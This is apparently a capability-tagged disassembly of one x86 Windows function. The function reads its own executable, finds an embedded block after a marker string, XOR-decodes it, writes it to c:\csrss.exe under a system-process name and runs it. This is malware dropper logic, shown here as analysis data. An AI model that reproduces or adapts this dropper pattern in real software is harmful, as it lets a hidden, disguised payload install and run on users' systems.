Function at 0x4058c0
Capabilities:
Accept command line arguments
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
movsx eax, byte [eax]
cmp eax, 0x22
jne 0x4058e5
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
add eax, 1
mov dword [ebp - 0x4c], eax
jmp 0x4058ee
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [ebp - 0x4c], eax
mov edi, dword [ebp - 0x4c]
mov edx, 0x411eec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x22
push 0x411eec
call sub.MSVCRT.dll_strchr
add esp, 8
test eax, eax
je 0x40593d
push 0x22
push 0x411eec
call sub.MSVCRT.dll_strchr
add esp, 8
add eax, 1
mov dword [ebp - 0x50], eax
jmp 0x405944
mov dword [ebp - 0x50], 0x411eec
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 4], ecx
push 0x20
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_strchr
add esp, 8
test eax, eax
je 0x40596d
push 0x20
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_strchr
add esp, 8
mov byte [eax], 0
push 0x22
push 0x411eec
call sub.MSVCRT.dll_strchr
add esp, 8
test eax, eax
je 0x405992
push 0x22
push 0x411eec
call sub.MSVCRT.dll_strchr
add esp, 8
mov byte [eax], 0
push str..com
push 0x411eec
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x405a1d
push str..COM
push 0x411eec
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x405a1d
push str..exe
push 0x411eec
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x405a1d
push str..EXE
push 0x411eec
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x405a1d
mov edi, str..exe
mov edx, 0x411eec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x104
push 0x411eec
push 0x411de0
call sub.MSVCRT.dll__fullpath
add esp, 0xc
test eax, eax
jne 0x405a5f
mov edi, 0x411eec
mov edx, 0x411de0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x40d1b0
push 0x411de0
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405c65
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
push edx
call sub.MSVCRT.dll__filelength
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
add eax, 1
push eax
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x405c59
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 1
mov eax, dword [ebp - 0x10]
push eax
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp eax, dword [ebp - 0xc]
jne 0x405c4d
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0xc]
mov byte [ecx], 0
mov dword [ebp - 0x14], 0
jmp 0x405ae6
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x14
cmp dword [ebp - 0x14], eax
jge 0x405c4d
mov edi, str.SoonChunHyang
lea edx, [ebp - 0x2c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Bucheon
lea edx, [ebp - 0x2c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x14
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x405c48
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
and eax, 0x800000ff
jns 0x405b91
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
lea eax, [edx + ecx + 0x1c]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0
jmp 0x405bb3
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x48]
jge 0x405bd0
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x44]
mov cl, byte [eax]
xor cl, byte [ebp - 0x40]
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x44]
mov byte [edx], cl
jmp 0x405baa
mov dword [ebp - 0x30], str.c:csrss.exe
push 0x40d1b0
mov eax, dword [ebp - 0x30]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
test eax, eax
je 0x405bf3
push 0
call sub.MSVCRT.dll_exit
push 0x40d184
mov ecx, dword [ebp - 0x30]
push ecx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x405c48
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x48]
push eax
push 1
mov ecx, dword [ebp - 0x38]
push ecx
call sub.MSVCRT.dll_fwrite
add esp, 0x10
mov edx, dword [ebp - 0x34]
push edx
call sub.MSVCRT.dll_fclose
add esp, 4
push 0
push 0x411de0
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
push 1
call sub.MSVCRT.dll__spawnl
add esp, 0x14
jmp 0x405add
mov edx, dword [ebp - 0x10]
push edx
call sub.MSVCRT.dll_free
add esp, 4
mov eax, dword [ebp - 8]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret